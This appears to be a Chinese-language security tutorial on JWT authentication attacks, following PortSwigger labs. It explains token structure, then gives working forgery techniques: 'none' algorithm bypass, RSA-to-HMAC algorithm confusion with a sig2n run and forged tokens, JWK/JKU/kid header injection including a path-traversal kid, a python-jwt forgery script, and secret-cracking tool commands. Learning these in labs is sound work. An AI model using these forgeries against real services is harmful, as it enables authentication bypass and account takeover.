JWT
JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的 cookie + session 身份验证方法。
JWT由三个部分组成:header.payload.signature
header部分最常用的两个字段是 alg 和 typ ,alg指定了token加密使用的算法(最常用的为HMAC和RSA算法),typ声明类型为JWT。
payload则为用户数据以及一些元数据有关的声明,用以声明权限。
signature的功能是保护token完整性。
生成方法为将header和payload两个部分联结起来,然后通过header部分指定的算法,计算出签名。
抽象成公式就是:
1
| signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)
|
值得注意的是,编码 header 和 payload 时使用的编码方式为 base64urlencode , base64url 编码是 base64 的修改版,为了方便在网络中传输使用了不同的编码表,它不会在末尾填充 ”=” 号,并将标准Base64中的 ”+” 和 ”/“ 分别改成了 ”-“ 和 ”_“。
在线 jwt 编辑网站:
JSON Web Tokens - jwt.io
python脚本:
1 2 3 4 5
| import jwt
encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', algorithm='HS256') print(encoded_jwt) print(jwt.decode(encoded_jwt, 'key', algorithms=['HS256']))
|
简单介绍后,本文将主要依据:portswigger JWT labs 进行阐述。
相关CVE测试工具:z-bool/Venom-JWT: 针对JWT渗透开发的漏洞验证/密钥爆破工具,针对CVE-2015-9235/空白密钥/未验证签名攻击/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042的结果生成用于FUZZ,也可使用字典/字符枚举(包括JJWT)的方式进行爆破(JWT Crack)
任意签名/无验签绕过
空算法绕过
1 2 3 4 5 6 7 8
| { "alg" : "None", "typ" : "jwt" }
{ "user" : "Admin" }
|
算法混淆+泄露公钥
RSA:非对称加密算法
HMAC:对称加密算法
一般来说,RSA 的 publicKey 都是用来加密然后服务端用 secretKey 解密,如果我们能得到 publicKey 并修改算法为 HMAC 就可以用这个 Key 来 加密/解密。
标头参数注入
通过 JWK参数/JKU参数/kid参数 注入自签名的JWT。
JWK
mkjwk - JSON Web 密钥生成器 — mkjwk - JSON Web Key Generator
使用 bp 插件 JWT-editor:
- 加载扩展后,在 Burp 的主选项卡栏中,转到 JWT 编辑器键选项卡。
- 生成新的 RSA 密钥。
- 向 Burp Repeater 发送包含 JWT 的请求。
- 在消息编辑器中,切换到扩展生成的JSON Web Token选项卡并根据需要修改令牌的有效负载。
- 单击攻击,然后选择嵌入式 JWK。出现提示时,选择新生成的 RSA 密钥。
- 发送请求来测试服务器如何响应。
JKU
一些服务器不直接使用标头参数嵌入公钥jwk,而是允许您使用jku(JWK Set URL) 标头参数来引用包含密钥的 JWK Set。验证签名时,服务器会从此 URL 获取相关密钥。(相当于远程的 JWK)
kid
kid 注入 ../../../../dev/null,key设为 AA==(空)。
算法混淆+爆破公钥
1 2 3 4 5 6 7 8
| docker run --rm -it portswigger/sig2n eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InUxIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc2NzAxMjk5OX0.mQCB8djcLNr-9xEtwbGOOjvfMwMgDMCfqxaaVGdnA5O0clSDHRYMEPczR8UJdWi4kVQHgRvygZEtwCZgEY48NyVMBKPGIAXHTZMz3nPHkxlqyu8fOKu-kStMVHyGmGuXACssWXWxjiecd0jWGNGorKMICk9KIkfHl5IonpO11Bi9hjqWmEAAqIe94A2rwDMVeZ-5DxGqgTjkbCpXDB_-qMklbYCGK5yoElgVU1eB3aZEq0RjzcvAorZoVaHznhwpohJKsJ2-dxn9IxzTQBVgzmYBYgRnEjx7dt1HxJDYU22HqQ4TYJTrv7YpoNwWIWj3IYBYvbV0LrRYH_ICWP1Lhw eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InUyIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc2NzAxMjk5OX0.nWN9x1qFoaGVjGqZFUI4AxX_QzsalgyFofX-FQ0g--vIVkJAKDjz4dMGnf0YEWevO9jK8G4tFxyA3evLGcLVWCYNPd09WMGLJ01QpbOnP1yXpaXW8xPRDlkSpiJEaKHRVO3WNBV_HIcYQD4R9e3J3CWgLeAaKfQQvmhfuud7JNbiQl_vGAKmXNhS7gCxkhKDoPwwCMRF6vBk3xcKziOanCqnrzC-J43zoRkV8BnHGg6A4LWCE07S5ij36zH7cy0P9whea4bNl0JVCpHww_IGxgpyh00icvBu3i_pzik0l6LALnrBd5AfyB4su15ak1SM1QrtJ19ScoPxYOwu7qYs1A Running command: python3 jwt_forgery.py <token1> <token2>
Found n with multiplier 1: Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFybmppZmcwOGtGZ0pacGYvYjg0egpad1d1bS9aLzRGOXg1SlcxdUhlK2d5VUFvRUt2VklRTHc4aUV6STF0MVZ5UUVjVE5tTE41YnFKS1YyVUQ4ZXV2CkNUbHBiQWRZMWRKN0xHbFFITXdlZW9ydjE1eWVJbDl3M0tyaWNWYk9HenlQYWRNUmRlNTdDZ201ZjhYS3czMkMKSGRKNjFrczZNZjVyOTdlSjl0MnBDYS9BcUFSanJkajFUR2k5UWFaZis4VXRYdlBRbVBVS09DeU40clRCV0JycQorVWI3QnhXYk9nQy9NblRxVkdQbjVIZWtlMmRtTEV2TnJGNGs4czVSeDNaWXdXRWU1WVNpMUFocXdkRzBjVXRVCkc1MWhNNnFxQXQ3YzV1Q1E4UGMzQUlleWdiVDZ4L3VsT3JDK0hISmdDUlkxRGhGTzl4L1B1N1ZBREt4OWZJUnMKcFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== Tampered JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJ1MSIsICJwcml2aWxlZGdlIjogIlRlbXAgVXNlciIsICJpYXQiOiAxNzY3MDEyOTk5LCAiZXhwIjogMTc2NzA5OTU1Mn0.DtRNEP2NfgpZrdDiMJ087s-X70ggwtjP8n8B3H5odgM Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXJuamlmZzA4a0ZnSlpwZi9iODR6WndXdW0vWi80Rjl4NUpXMXVIZStneVVBb0VLdlZJUUwKdzhpRXpJMXQxVnlRRWNUTm1MTjVicUpLVjJVRDhldXZDVGxwYkFkWTFkSjdMR2xRSE13ZWVvcnYxNXllSWw5dwozS3JpY1ZiT0d6eVBhZE1SZGU1N0NnbTVmOFhLdzMyQ0hkSjYxa3M2TWY1cjk3ZUo5dDJwQ2EvQXFBUmpyZGoxClRHaTlRYVpmKzhVdFh2UFFtUFVLT0N5TjRyVEJXQnJxK1ViN0J4V2JPZ0MvTW5UcVZHUG41SGVrZTJkbUxFdk4KckY0azhzNVJ4M1pZd1dFZTVZU2kxQWhxd2RHMGNVdFVHNTFoTTZxcUF0N2M1dUNROFBjM0FJZXlnYlQ2eC91bApPckMrSEhKZ0NSWTFEaEZPOXgvUHU3VkFES3g5ZklSc3BRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K Tampered JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJ1MSIsICJwcml2aWxlZGdlIjogIlRlbXAgVXNlciIsICJpYXQiOiAxNzY3MDEyOTk5LCAiZXhwIjogMTc2NzA5OTU1Mn0.4Ha-maWy7mC3Eo8GBrZyxCTb4k04zg5xrqyct8WAVzU
|
python-jwt < 3.3.4
1 2 3 4 5 6 7 8 9 10 11 12
| from json import * from python_jwt import * from jwcrypto import jwk
jwt_json = "获取到的jwt" [header, payload, signature] = jwt_json.split('.') parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "i am not guest" fake = base64url_encode(dumps(parsed_payload)) fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' print(fake_jwt)
|
KEY爆破
gojwtcrack
1
| ./gojwtcrack -t token.txt -d rockyou.txt
|
c-jwt-cracker
jwt_tool
1
| python3 jwt_tool.py [JWT]
|
CrackJWTKey
1
| python3 CrackJWT.py jwt_str keys.txt
|